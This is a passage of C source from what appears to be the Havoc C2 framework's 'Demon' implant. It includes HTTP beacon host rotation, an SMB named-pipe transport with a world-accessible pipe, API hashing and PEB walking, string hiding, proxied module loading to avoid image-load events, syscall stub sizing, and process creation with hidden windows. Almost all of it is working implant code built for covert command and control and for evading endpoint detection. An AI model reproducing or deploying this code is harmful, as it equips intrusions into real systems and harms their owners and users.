Buffer ) ); } while ( Successful == TRUE ); Resp->Length = RespSize; Resp->Buffer = RespBuffer; Successful = TRUE; } } } else { if ( NtGetLastError() == ERROR_INTERNET_CANNOT_CONNECT ) { Instance->Session.Connected = FALSE; } PRINTF_DONT_SEND( "HTTP Error: %d\n", NtGetLastError() ) } LEAVE: if ( Connect ) { Instance->Win32.WinHttpCloseHandle( Connect ); } if ( Request ) { Instance->Win32.WinHttpCloseHandle( Request ); } if ( ProxyConfig.lpszProxy ) { Instance->Win32.GlobalFree( ProxyConfig.lpszProxy ); } if ( ProxyConfig.lpszProxyBypass ) { Instance->Win32.GlobalFree( ProxyConfig.lpszProxyBypass ); } if ( ProxyConfig.lpszAutoConfigUrl ) { Instance->Win32.GlobalFree( ProxyConfig.lpszAutoConfigUrl ); } /* re-impersonate the token */ TokenImpersonate( TRUE ); if ( ! Successful ) { /* if we hit our max then we use our next host */ Instance->Config.Transport.Host = HostFailure( Instance->Config.Transport.Host ); } return Successful; } /*! * @brief * Query the Http Status code from the request response. * * @param hRequest * request handle * * @return * Http status code */ DWORD HttpQueryStatus( _In_ HANDLE Request ) { DWORD StatusCode = 0; DWORD StatusSize = sizeof( DWORD ); if ( Instance->Win32.WinHttpQueryHeaders( Request, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &StatusCode, &StatusSize, WINHTTP_NO_HEADER_INDEX ) ) { return StatusCode; } return 0; } PHOST_DATA HostAdd( _In_ LPWSTR Host, SIZE_T Size, DWORD Port ) { PRINTF_DONT_SEND( "Host -> Host:[%ls] Size:[%ld] Port:[%ld]\n", Host, Size, Port ); PHOST_DATA HostData = NULL; HostData = MmHeapAlloc( sizeof( HOST_DATA ) ); HostData->Host = MmHeapAlloc( Size + sizeof( WCHAR ) ); HostData->Port = Port; HostData->Dead = FALSE; HostData->Next = Instance->Config.Transport.Hosts; /* Copy host to our buffer */ MemCopy( HostData->Host, Host, Size ); /* Add to hosts linked list */ Instance->Config.Transport.Hosts = HostData; return HostData; } PHOST_DATA HostFailure( PHOST_DATA Host ) { if ( ! Host ) return NULL; if ( Host->Failures == Instance->Config.Transport.HostMaxRetries ) { /* we reached our max failed retries with our current host data * use next one */ Host->Dead = TRUE; /* Get our next host based on our rotation strategy. */ return HostRotation( Instance->Config.Transport.HostRotation ); } /* Increase our failed counter */ Host->Failures++; PRINTF_DONT_SEND( "Host [Host: %ls:%ld] failure counter increased to %d\n", Host->Host, Host->Port, Host->Failures ) return Host; } /* Gets a random host from linked list. */ PHOST_DATA HostRandom() { PHOST_DATA Host = NULL; DWORD Index = RandomNumber32() % HostCount(); DWORD Count = 0; Host = Instance->Config.Transport.Hosts; for ( ;; ) { if ( Count == Index ) break; if ( ! Host ) break; /* if we are the end and still didn't found the random index quit. */ if ( ! Host->Next ) { Host = NULL; break; } Count++; /* Next host please */ Host = Host->Next; } PRINTF_DONT_SEND( "Index: %d\n", Index ) PRINTF_DONT_SEND( "Host : %p (%ls:%ld :: Dead[%s] :: Failures[%d])\n", Host, Host->Host, Host->Port, Host->Dead ? "TRUE" : "FALSE", Host->Failures ) return Host; } PHOST_DATA HostRotation( SHORT Strategy ) { PHOST_DATA Host = NULL; if ( Instance->Config.Transport.NumHosts > 1 ) { /* * Different CDNs can have different WPAD rules. * After rotating, look for the proxy again */ Instance->LookedForProxy = FALSE; } if ( Strategy == TRANSPORT_HTTP_ROTATION_ROUND_ROBIN ) { DWORD Count = 0; /* get linked list */ Host = Instance->Config.Transport.Hosts; /* If our current host is empty * then return the top host from our linked list. */ if ( ! Instance->Config.Transport.Host ) return Host; for ( Count = 0; Count < HostCount(); ) { /* check if it's not an empty pointer */ if ( ! Host ) break; /* if the host is dead (max retries limit reached) then continue */ if ( Host->Dead ) Host = Host->Next; else break; } } else if ( Strategy == TRANSPORT_HTTP_ROTATION_RANDOM ) { /* Get a random Host */ Host = HostRandom(); /* if we fail use the first host we get available. */ if ( Host->Dead ) /* fallback to Round Robin */ Host = HostRotation( TRANSPORT_HTTP_ROTATION_ROUND_ROBIN ); } /* if we specified infinite retries then reset every "Failed" retries in our linked list and do this forever... * as the operator wants. */ if ( ( Instance->Config.Transport.HostMaxRetries == 0 ) && ! Host ) { PUTS_DONT_SEND( "Specified to keep going. To infinity... and beyond" ) /* get linked list */ Host = Instance->Config.Transport.Hosts; /* iterate over linked list */ for ( ;; ) { if ( ! Host ) break; /* reset failures */ Host->Failures = 0; Host->Dead = FALSE; Host = Host->Next; } /* tell the caller to start at the beginning */ Host = Instance->Config.Transport.Hosts; } return Host; } DWORD HostCount() { PHOST_DATA Host = NULL; PHOST_DATA Head = NULL; DWORD Count = 0; Head = Instance->Config.Transport.Hosts; Host = Head; do { if ( ! Host ) break; Count++; Host = Host->Next; /* if we are at the beginning again then stop. */ if ( Head == Host ) break; } while ( TRUE ); return Count; } BOOL HostCheckup() { PHOST_DATA Host = NULL; PHOST_DATA Head = NULL; DWORD Count = 0; BOOL Alive = TRUE; Head = Instance->Config.Transport.Hosts; Host = Head; do { if ( ! Host ) break; if ( Host->Dead ) Count++; Host = Host->Next; /* if we are at the beginning again then stop. */ if ( Head == Host ) break; } while ( TRUE ); /* check if every host is dead */ if ( HostCount() == Count ) Alive = FALSE; return Alive; } #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/TransportSmb.c000066400000000000000000000217741467014221700245010ustar00rootroot00000000000000#include #include #include #ifdef TRANSPORT_SMB BOOL SmbSend( PBUFFER Send ) { if ( ! Instance->Config.Transport.Handle ) { SMB_PIPE_SEC_ATTR SmbSecAttr = { 0 }; SECURITY_ATTRIBUTES SecurityAttr = { 0 }; /* Setup attributes to allow "anyone" to connect to our pipe */ SmbSecurityAttrOpen( &SmbSecAttr, &SecurityAttr ); Instance->Config.Transport.Handle = Instance->Win32.CreateNamedPipeW( Instance->Config.Transport.Name, // Named Pipe PIPE_ACCESS_DUPLEX, // read/write access PIPE_TYPE_MESSAGE | // message type pipe PIPE_READMODE_MESSAGE | // message-read mode PIPE_WAIT, // blocking mode PIPE_UNLIMITED_INSTANCES, // max. instances PIPE_BUFFER_MAX, // output buffer size PIPE_BUFFER_MAX, // input buffer size 0, // client time-out &SecurityAttr ); // security attributes SmbSecurityAttrFree( &SmbSecAttr ); if ( ! Instance->Config.Transport.Handle ) return FALSE; if ( ! Instance->Win32.ConnectNamedPipe( Instance->Config.Transport.Handle, NULL ) ) { SysNtClose( Instance->Config.Transport.Handle ); return FALSE; } /* Send the message/package we want to send to the new client... */ return PipeWrite( Instance->Config.Transport.Handle, Send ); } if ( ! PipeWrite( Instance->Config.Transport.Handle, Send ) ) { PRINTF( "WriteFile Failed:[%d]\n", NtGetLastError() ); /* Means that the client disconnected/the pipe is closing. */ if ( NtGetLastError() == ERROR_NO_DATA ) { if ( Instance->Config.Transport.Handle ) { SysNtClose( Instance->Config.Transport.Handle ); Instance->Config.Transport.Handle = NULL; } Instance->Session.Connected = FALSE; return FALSE; } } return TRUE; } BOOL SmbRecv( PBUFFER Resp ) { DWORD BytesSize = 0; DWORD DemonId = 0; DWORD PackageSize = 0; if ( Instance->Win32.PeekNamedPipe( Instance->Config.Transport.Handle, NULL, 0, NULL, &BytesSize, NULL ) ) { if ( BytesSize > sizeof( UINT32 ) + sizeof( UINT32 ) ) { if ( ! Instance->Win32.ReadFile( Instance->Config.Transport.Handle, &DemonId, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != ERROR_MORE_DATA ) { PRINTF( "Failed to read the DemonId from pipe, error: %d\n", NtGetLastError() ) Resp->Buffer = NULL; Resp->Length = 0; Instance->Session.Connected = FALSE; return FALSE; } if ( Instance->Session.AgentID != DemonId ) { PRINTF( "The message doesn't have the correct DemonId: %x\n", DemonId ) Resp->Buffer = NULL; Resp->Length = 0; Instance->Session.Connected = FALSE; return FALSE; } if ( ! Instance->Win32.ReadFile( Instance->Config.Transport.Handle, &PackageSize, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != ERROR_MORE_DATA ) { PRINTF( "Failed to read the PackageSize from pipe, error: %d\n", NtGetLastError() ) Resp->Buffer = NULL; Resp->Length = 0; Instance->Session.Connected = FALSE; return FALSE; } Resp->Buffer = Instance->Win32.LocalAlloc( LPTR, PackageSize ); Resp->Length = PackageSize; if ( ! PipeRead( Instance->Config.Transport.Handle, Resp ) ) { PRINTF( "PipeRead failed with to read 0x%x bytes from pipe\n", Resp->Length ) if ( Resp->Buffer ) { Instance->Win32.LocalFree( Resp->Buffer ); Resp->Buffer = NULL; } Resp->Length = 0; Instance->Session.Connected = FALSE; return FALSE; } //PRINTF("successfully read 0x%x bytes from pipe\n", PackageSize) } else if ( BytesSize > 0 ) { PRINTF( "Data in the pipe is too small: 0x%x\n", BytesSize ) } else { // nothing to read } } else { /* We disconnected */ PRINTF( "PeekNamedPipe failed with %d\n", NtGetLastError() ) Instance->Session.Connected = FALSE; return FALSE; } return TRUE; } /* Took it from https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/metsrv/server_pivot_named_pipe.c#L286 * But seems like MeterPreter doesn't free everything so let's do this too. */ VOID SmbSecurityAttrOpen( PSMB_PIPE_SEC_ATTR SmbSecAttr, PSECURITY_ATTRIBUTES SecurityAttr ) { SID_IDENTIFIER_AUTHORITY SidIdAuth = SECURITY_WORLD_SID_AUTHORITY; SID_IDENTIFIER_AUTHORITY SidLabel = SECURITY_MANDATORY_LABEL_AUTHORITY; EXPLICIT_ACCESSW ExplicitAccess = { 0 }; DWORD Result = 0; PACL DAcl = NULL; /* zero them out. */ MemSet( SmbSecAttr, 0, sizeof( SMB_PIPE_SEC_ATTR ) ); MemSet( SecurityAttr, 0, sizeof( PSECURITY_ATTRIBUTES ) ); if ( ! Instance->Win32.AllocateAndInitializeSid( &SidIdAuth, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->Sid ) ) { PRINTF( "AllocateAndInitializeSid failed: %u\n", NtGetLastError() ); return; } PRINTF( "SmbSecAttr->Sid: %p\n", SmbSecAttr->Sid ); ExplicitAccess.grfAccessPermissions = SPECIFIC_RIGHTS_ALL | STANDARD_RIGHTS_ALL; ExplicitAccess.grfAccessMode = SET_ACCESS; ExplicitAccess.grfInheritance = NO_INHERITANCE; ExplicitAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID; ExplicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; ExplicitAccess.Trustee.ptstrName = SmbSecAttr->Sid; Result = Instance->Win32.SetEntriesInAclW( 1, &ExplicitAccess, NULL, &DAcl ); if ( Result != ERROR_SUCCESS ) { PRINTF( "SetEntriesInAclW failed: %u\n", Result ); } PRINTF( "DACL: %p\n", DAcl ); if ( ! Instance->Win32.AllocateAndInitializeSid( &SidLabel, 1, SECURITY_MANDATORY_LOW_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->SidLow ) ) { PRINTF( "AllocateAndInitializeSid failed: %u\n", NtGetLastError() ); } PRINTF( "sidLow: %p\n", SmbSecAttr->SidLow ); SmbSecAttr->SAcl = MmHeapAlloc( MAX_PATH ); if ( ! Instance->Win32.InitializeAcl( SmbSecAttr->SAcl, MAX_PATH, ACL_REVISION_DS ) ) { PRINTF( "InitializeAcl failed: %u\n", NtGetLastError() ); } if ( ! Instance->Win32.AddMandatoryAce( SmbSecAttr->SAcl, ACL_REVISION_DS, NO_PROPAGATE_INHERIT_ACE, 0, SmbSecAttr->SidLow ) ) { PRINTF( "AddMandatoryAce failed: %u\n", NtGetLastError() ); } // now build the descriptor SmbSecAttr->SecDec = MmHeapAlloc( SECURITY_DESCRIPTOR_MIN_LENGTH ); if ( ! Instance->Win32.InitializeSecurityDescriptor( SmbSecAttr->SecDec, SECURITY_DESCRIPTOR_REVISION ) ) { PRINTF( "InitializeSecurityDescriptor failed: %u\n", NtGetLastError() ); } if ( ! Instance->Win32.SetSecurityDescriptorDacl( SmbSecAttr->SecDec, TRUE, DAcl, FALSE ) ) { PRINTF( "SetSecurityDescriptorDacl failed: %u\n", NtGetLastError() ); } if ( ! Instance->Win32.SetSecurityDescriptorSacl( SmbSecAttr->SecDec, TRUE, SmbSecAttr->SAcl, FALSE ) ) { PRINTF( "SetSecurityDescriptorSacl failed: %u\n", NtGetLastError() ); } SecurityAttr->lpSecurityDescriptor = SmbSecAttr->SecDec; SecurityAttr->bInheritHandle = FALSE; SecurityAttr->nLength = sizeof( SECURITY_ATTRIBUTES ); } VOID SmbSecurityAttrFree( PSMB_PIPE_SEC_ATTR SmbSecAttr ) { if ( SmbSecAttr->Sid ) { Instance->Win32.FreeSid( SmbSecAttr->Sid ); SmbSecAttr->Sid = NULL; } if ( SmbSecAttr->SidLow ) { Instance->Win32.FreeSid( SmbSecAttr->SidLow ); SmbSecAttr->SidLow = NULL; } if ( SmbSecAttr->SAcl ) { MmHeapFree( SmbSecAttr->SAcl ); SmbSecAttr->SAcl = NULL; } if ( SmbSecAttr->SecDec ) { MmHeapFree( SmbSecAttr->SecDec ); SmbSecAttr->SecDec = NULL; } } #endifhavoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Win32.c000066400000000000000000001444501467014221700227420ustar00rootroot00000000000000#include #include #include #include #include #include #include /*! * Extended String Hasher * @param String * @param Length * @param Upper * @return */ ULONG HashEx( IN PVOID String, IN ULONG Length, IN BOOL Upper ) { ULONG Hash = HASH_KEY; PUCHAR Ptr = String; if ( ! String ) { return 0; } do { UCHAR character = *Ptr; if ( ! Length ) { if ( ! * Ptr ) { break; } } else { if ( ( ULONG ) ( C_PTR( Ptr ) - String ) >= Length ) { break; } if ( !*Ptr ) { ++Ptr; } } if ( Upper ) { if ( character >= 'a' ) { character -= 0x20; } } Hash = ( ( Hash << 5 ) + Hash ) + character; ++Ptr; } while ( TRUE ); return Hash; } /*! * load module from PEB InLoadOrderModuleList by Hash * @param Hash * @return */ PVOID LdrModulePeb( IN DWORD Hash ) { PLDR_DATA_TABLE_ENTRY Ldr = NULL; PLIST_ENTRY Hdr = NULL; PLIST_ENTRY Ent = NULL; PPEB Peb = NULL; /* Get pointer to list */ if ( ! Instance->Teb ) { Instance->Teb = NtCurrentTeb(); } Peb = Instance->Teb->ProcessEnvironmentBlock; Hdr = & Peb->Ldr->InLoadOrderModuleList; Ent = Hdr->Flink; for ( ; Hdr != Ent ; Ent = Ent->Flink ) { Ldr = C_PTR( Ent ); /* Compare the DLL Name! */ if ( ( HashEx( Ldr->BaseDllName.Buffer, Ldr->BaseDllName.Length, TRUE ) == Hash ) || Hash == 0 ) { return Ldr->DllBase; } } return NULL; } /*! * load module from PEB InLoadOrderModuleList by String * @param Module name of module (needs to be upper case: MODULE.DLL) * @return */ PVOID LdrModulePebByString( IN LPWSTR Module ) { PLDR_DATA_TABLE_ENTRY Ldr = NULL; PLIST_ENTRY Hdr = NULL; PLIST_ENTRY Ent = NULL; PPEB Peb = NULL; LPWSTR Name = { 0 }; ULONG Idx = 0; /* Get pointer to list */ if ( ! Instance->Teb ) { Instance->Teb = NtCurrentTeb(); } Name = MmHeapAlloc( MAX_PATH ); Peb = Instance->Teb->ProcessEnvironmentBlock; Hdr = & Peb->Ldr->InLoadOrderModuleList; Ent = Hdr->Flink; for ( ; Hdr != Ent ; Ent = Ent->Flink ) { Ldr = C_PTR( Ent ); if ( Ldr->BaseDllName.Length <= 260 ) { MemCopy( Name, Ldr->BaseDllName.Buffer, Ldr->BaseDllName.Length ); /* turn the module name from PEB to upper */ do { if ( Idx < Ldr->BaseDllName.Length ) { if ( Name[ Idx ] >= 'a' ) { Name[ Idx ] -= 0x20; } } else { break; } Idx++; } while ( TRUE ); Idx = 0; /* Compare the DLL Name! */ if ( ( StringCompareW( Name, Module ) == 0 ) || Module == NULL ) { return Ldr->DllBase; } MemZero( Name, MAX_PATH ); } } if ( Name ) { MemZero( Name, MAX_PATH ); MmHeapFree( Name ); Name = NULL; } return NULL; } /*! * Search for a DLL on the PEB module list * * @param ModuleName module name * @return */ PVOID LdrModuleSearch( IN LPWSTR ModuleName) { PVOID FirstEntry = NULL; PLDR_DATA_TABLE_ENTRY Entry = NULL; WCHAR Name[ 260 ] = { 0 }; WCHAR Dll[ 5 ] = { 0 }; Dll[ 3 ] = HideChar( 'L' ); Dll[ 1 ] = HideChar( 'D' ); Dll[ 4 ] = HideChar( '\0' ); Dll[ 2 ] = HideChar( 'L' ); Dll[ 0 ] = HideChar( '.' ); Entry = Instance->Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink; FirstEntry = &Instance->Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink; StringCopyW( Name, ModuleName ); if ( ! EndsWithIW( ModuleName, Dll ) ) { StringConcatW( Name, Dll ); } MemZero( Dll, sizeof( Dll ) ); do { if ( ! StringCompareIW( Name, Entry->BaseDllName.Buffer ) ) { MemZero( Name, sizeof( Name ) ); return Entry->DllBase; } Entry = Entry->InLoadOrderLinks.Flink; } while ( Entry != FirstEntry ); MemZero( Name, sizeof( Name ) ); return NULL; } /*! * Load Library by string name. * * @note * based on how it is configured to load the module * it either proxy calls LoadLibraryW using RtlRegisterWait/RtlCreateTimer/RtlQueueWorkItem * or it directly uses LdrLoadDll. * * @param ModuleName module name to load * @return */ PVOID LdrModuleLoad( IN LPSTR ModuleName ) { UNICODE_STRING UnicodeString = { 0 }; WCHAR NameW[ 260 ] = { 0 }; PVOID Module = { 0 }; USHORT DestSize = 0; HANDLE Event = NULL; HANDLE Queue = NULL; HANDLE Timer = NULL; DWORD Count = 5; NTSTATUS NtStatus = STATUS_SUCCESS; if ( ! ModuleName ) { return NULL; } /* convert module ansi string to unicode string */ CharStringToWCharString( NameW, ModuleName, StringLengthA( ModuleName ) ); /* get size of module unicode string */ DestSize = StringLengthW( NameW ) * sizeof( WCHAR ); /* check if the module is already loaded */ Module = LdrModuleSearch( NameW ); /* if found, avoid generating an image-load event */ if ( Module ) { return Module; } /* if proxy module loading is enabled */ if ( Instance->Config.Implant.ProxyLoading ) { /* load library using RtlRegisterWait + LoadLibraryW */ if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLREGISTERWAIT ) && Instance->Win32.RtlRegisterWait ) { PUTS( "Loading module using RtlRegisterWait" ) /* create an event for end of module loading */ if ( ! NT_SUCCESS( NtStatus = SysNtCreateEvent( &Event, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE ) ) ) { goto DEFAULT; } /* call LoadLibraryW */ if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlRegisterWait( &Timer, Event, C_PTR( Instance->Win32.LoadLibraryW ), NameW, 0, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) { PRINTF( "RtlRegisterWait: %p\n", NtStatus ) goto DEFAULT; } } /* load library using RtlCreateTimer + LoadLibraryW */ else if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLCREATETIMER ) && Instance->Win32.RtlCreateTimer ) { PUTS( "Loading module using RtlCreateTimer" ) /* create timer queue */ if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimerQueue( &Queue ) ) ) { PRINTF( "RtlCreateTimerQueue Failed => %p\n", NtStatus ) goto DEFAULT; } /* call LoadLibraryW */ if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.LoadLibraryW ), NameW, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) ) { PRINTF( "RtlCreateTimer: %p\n", NtStatus ) goto DEFAULT; } } /* load library using RtlQueueWorkItem + LoadLibraryW */ else if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLQUEUEWORKITEM ) && Instance->Win32.RtlQueueWorkItem ) { PUTS( "Loading module using RtlQueueWorkItem" ) /* call LoadLibraryW and load specified module */ if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlQueueWorkItem( C_PTR( Instance->Win32.LoadLibraryW ), NameW, WT_EXECUTEDEFAULT ) ) ) { PRINTF( "RtlQueueWorkItem Failed: %p\n", NtStatus ) /* if we failed to load the module via RtlQueueWorkItem + LoadLibraryW then * try to load it using LdrLoadDll */ goto DEFAULT; } } else { goto DEFAULT; } do { /* after 5 times checking give up. * use LdrLoadDll instead */ if ( ! Count ) { break; } /* now let's try to get the module * if we failed to load the module then try using LdrLoadDll * NOTE: we are getting the module by string because there are some hash collisions * when using LdrModulePeb */ if ( ( Module = LdrModulePebByString( NameW ) ) ) { break; } /* a little delay between each PEB check */ SharedSleep( 100 ); /* decrease counter */ Count--; } while ( TRUE ); /* if module still hasn't been found then go to default */ if ( ! Module ) { PUTS( "Module was not loaded, try with default technique" ) goto DEFAULT; } } else { DEFAULT: /* load library using LdrLoadDll */ if ( Instance->Win32.LdrLoadDll ) { PUTS( "Loading module using LdrLoadDll" ) /* prepare unicode string */ UnicodeString.Buffer = NameW; UnicodeString.Length = DestSize; UnicodeString.MaximumLength = DestSize + sizeof( WCHAR ); if ( ! NT_SUCCESS( NtStatus = Instance->Win32.LdrLoadDll( NULL, 0, &UnicodeString, &Module ) ) ) { PRINTF( "LdrLoadDll Failed: %p\n", NtStatus ) NtSetLastError( NtStatus ); } } } END: /* clear stuff from stack */ MemZero( NameW, sizeof( NameW ) ); MemZero( &UnicodeString, sizeof( UnicodeString ) ); PRINTF( "Module \"%s\": %p\n", ModuleName, Module ) /* close event end */ if ( Event ) { SysNtClose( Event ); Event = NULL; } /* close queue */ if ( Queue ) { Instance->Win32.RtlDeleteTimerQueue( Queue ); Queue = NULL; } return Module; } /*! * gets the function pointer * @param Module * @param FunctionHash * @return */ PVOID LdrFunctionAddr( IN PVOID Module, IN DWORD Hash ) { PIMAGE_NT_HEADERS NtHeader = { 0 }; PIMAGE_EXPORT_DIRECTORY ExpDirectory = { 0 }; SIZE_T ExpDirectorySize = { 0 }; PDWORD AddrOfFunctions = { 0 }; PDWORD AddrOfNames = { 0 }; PWORD AddrOfOrdinals = { 0 }; PVOID FunctionAddr = { 0 }; PCHAR FunctionName = { 0 }; ANSI_STRING AnsiString = { 0 }; if ( ! Module || ! Hash ) return NULL; NtHeader = C_PTR( Module + ( ( PIMAGE_DOS_HEADER ) Module )->e_lfanew ); ExpDirectory = C_PTR( Module + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress ); ExpDirectorySize = U_PTR( Module + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size ); AddrOfNames = C_PTR( Module + ExpDirectory->AddressOfNames ); AddrOfFunctions = C_PTR( Module + ExpDirectory->AddressOfFunctions ); AddrOfOrdinals = C_PTR( Module + ExpDirectory->AddressOfNameOrdinals ); for ( DWORD i = 0; i < ExpDirectory->NumberOfNames; i++ ) { FunctionName = ( PCHAR ) Module + AddrOfNames[ i ]; if ( HashEx( FunctionName, 0, TRUE ) == Hash ) { FunctionAddr = C_PTR( Module + AddrOfFunctions[ AddrOfOrdinals[ i ] ] ); /* if this is a redirect function then use LdrGetProcedureAddress */ if ( ( ULONG_PTR ) FunctionAddr >= ( ULONG_PTR ) ExpDirectory && ( ULONG_PTR ) FunctionAddr < ( ULONG_PTR ) ExpDirectory + ExpDirectorySize ) { AnsiString.Length = StringLengthA( FunctionName ); AnsiString.MaximumLength = AnsiString.Length + sizeof( CHAR ); AnsiString.Buffer = FunctionName; if ( Instance->Win32.LdrGetProcedureAddress ) { if ( ! NT_SUCCESS( Instance->Win32.LdrGetProcedureAddress( Module, &AnsiString, 0, &FunctionAddr ) ) ) { return NULL; } } else { return NULL; } } return FunctionAddr; } } PRINTF( "API not found: FunctionHash:[%lx]\n", Hash ) return NULL; } /* * Get the size of an NtApi by finding two consecutive syscalls * and returning the difference of their addresses. * This can't be static because it changes between releases. */ UINT32 GetSyscallSize( VOID ) { PVOID Module = Instance->Modules.Ntdll; PIMAGE_NT_HEADERS NtHeader = { 0 }; PIMAGE_EXPORT_DIRECTORY ExpDirectory = { 0 }; SIZE_T ExpDirectorySize = { 0 }; PDWORD AddrOfFunctions = { 0 }; PDWORD AddrOfNames = { 0 }; PWORD AddrOfOrdinals = { 0 }; PVOID FunctionAddr = { 0 }; PCHAR FunctionName = { 0 }; ANSI_STRING AnsiString = { 0 }; PVOID Addr1 = NULL; PVOID Addr2 = NULL; UINT32 SyscallSize = 0; UINT32 Offset = 0; if ( ! Module ) return 0; if ( Instance->Syscall.Size ) return Instance->Syscall.Size; NtHeader = C_PTR( Module + ( ( PIMAGE_DOS_HEADER ) Module )->e_lfanew ); ExpDirectory = C_PTR( Module + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress ); ExpDirectorySize = U_PTR( Module + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size ); AddrOfNames = C_PTR( Module + ExpDirectory->AddressOfNames ); AddrOfFunctions = C_PTR( Module + ExpDirectory->AddressOfFunctions ); AddrOfOrdinals = C_PTR( Module + ExpDirectory->AddressOfNameOrdinals ); for ( DWORD i = 0; i < ExpDirectory->NumberOfNames; i++ ) { /* ignore redirect functions */ if ( ( ULONG_PTR ) FunctionAddr >= ( ULONG_PTR ) ExpDirectory && ( ULONG_PTR ) FunctionAddr < ( ULONG_PTR ) ExpDirectory + ExpDirectorySize ) continue; // make sure is a system call FunctionName = ( PCHAR ) Module + AddrOfNames[ i ]; if (*(USHORT*)FunctionName != 0x775a) continue; // save one random syscall addr if ( ! Addr1 ) { Addr1 = C_PTR( Module + AddrOfFunctions[ AddrOfOrdinals[ i ] ] ); continue; } else { // get the distance between our saved syscall addr and this one Addr2 = C_PTR( Module + AddrOfFunctions[ AddrOfOrdinals[ i ] ] ); Offset = ( ULONG_PTR ) Addr1 > ( ULONG_PTR ) Addr2 ? ( ULONG_PTR ) Addr1 - ( ULONG_PTR ) Addr2 : ( ULONG_PTR ) Addr2 - ( ULONG_PTR ) Addr1; // if the distance is the smallest we have seen so far, save it if ( ! SyscallSize || Offset < SyscallSize ) { SyscallSize = Offset; } } } // by now, we should have the size of a syscall stub Instance->Syscall.Size = SyscallSize; return Instance->Syscall.Size; } /*! * opens a handle to the specified pid with specified access * @param ProcessID * @param Access * @return */ HANDLE ProcessOpen( IN DWORD Pid, IN DWORD Access ) { HANDLE Process = NULL; CLIENT_ID Client = { 0 }; OBJ_ATTR ObjAttr = { 0 }; NTSTATUS NtStatus = STATUS_SUCCESS; InitializeObjectAttributes( &ObjAttr, NULL, 0, NULL, NULL ); /* set our target process */ Client.UniqueProcess = C_PTR( Pid ); /* open process handle */ if ( ! NT_SUCCESS( NtStatus = SysNtOpenProcess( &Process, Access, &ObjAttr, &Client ) ) ) { PRINTF( "NtOpenProcess Failed => %lx\n", NtStatus ) NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return NULL; } return Process; } /*! * checks if a process runs under Wow64 * @param Process * @return */ BOOL ProcessIsWow( IN HANDLE Process ) { PVOID IsWow64 = NULL; NTSTATUS NtStatus = STATUS_SUCCESS; if ( ! Process ) { return FALSE; } if ( Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) { return FALSE; } if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationProcess( Process, ProcessWow64Information, &IsWow64, sizeof( PVOID ), NULL ) ) ) { PRINTF( "[!] NtQueryInformationProcess Failed: Handle[%x] Status[%lx]\n", Process, NtStatus ) return FALSE; } return U_PTR( IsWow64 ); } /*! * Starts a Process * * @param x86 start 32-bit/wow64 process * @param App App path * @param CmdLine Process to run * @param Flags Process Flags * @param ProcessInfo Process Information struct * @param Piped Send output back * @param AnonPipes Uses Anon pipe struct as default pipe. only works if Piped is to False * @brief Spawns a process with current set settings (ppid spoof, blockdll, token) * @return */ BOOL ProcessCreate( IN BOOL x86, IN LPWSTR App, IN LPWSTR CmdLine, IN DWORD Flags, OUT PROCESS_INFORMATION* ProcessInfo, IN BOOL Piped, IN PANONPIPE DataAnonPipes ) { PPACKAGE Package = NULL; PANONPIPE AnonPipe = { 0 }; STARTUPINFOW StartUpInfo = { 0 }; BOOL Return = TRUE; PVOID Wow64Value = NULL; BOOL DisabledWow64Redir = FALSE; BOOL DisabledImp = FALSE; HANDLE PrimaryToken = NULL; StartUpInfo.cb = sizeof( STARTUPINFOA ); StartUpInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; StartUpInfo.wShowWindow = SW_HIDE; Package = PackageCreate( DEMON_INFO ); PackageAddInt32( Package, DEMON_INFO_PROC_CREATE ); if ( Piped ) { PUTS( "Piped enabled" ) AnonPipe = Instance->Win32.LocalAlloc( LPTR, sizeof( ANONPIPE ) ); MemSet( AnonPipe, 0, sizeof( ANONPIPE ) ); AnonPipesInit( AnonPipe ); StartUpInfo.hStdError = AnonPipe->StdOutWrite; StartUpInfo.hStdOutput = AnonPipe->StdOutWrite; StartUpInfo.hStdInput = NULL; } if ( DataAnonPipes ) { PUTS( "Using specified anon pipes" ) StartUpInfo.hStdError = DataAnonPipes->StdOutWrite; StartUpInfo.hStdOutput = DataAnonPipes->StdOutWrite; StartUpInfo.hStdInput = NULL; } #if _M_IX86 if ( ! x86 && Instance->Win32.Wow64DisableWow64FsRedirection ) { PUTS( "Enable Wow64 process support" ) if ( ! Instance->Win32.Wow64DisableWow64FsRedirection( &Wow64Value ) ) { PRINTF( "Failed to disable wow64 redirection: %d : %x\n", NtGetLastError(), Wow64Value ) PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() 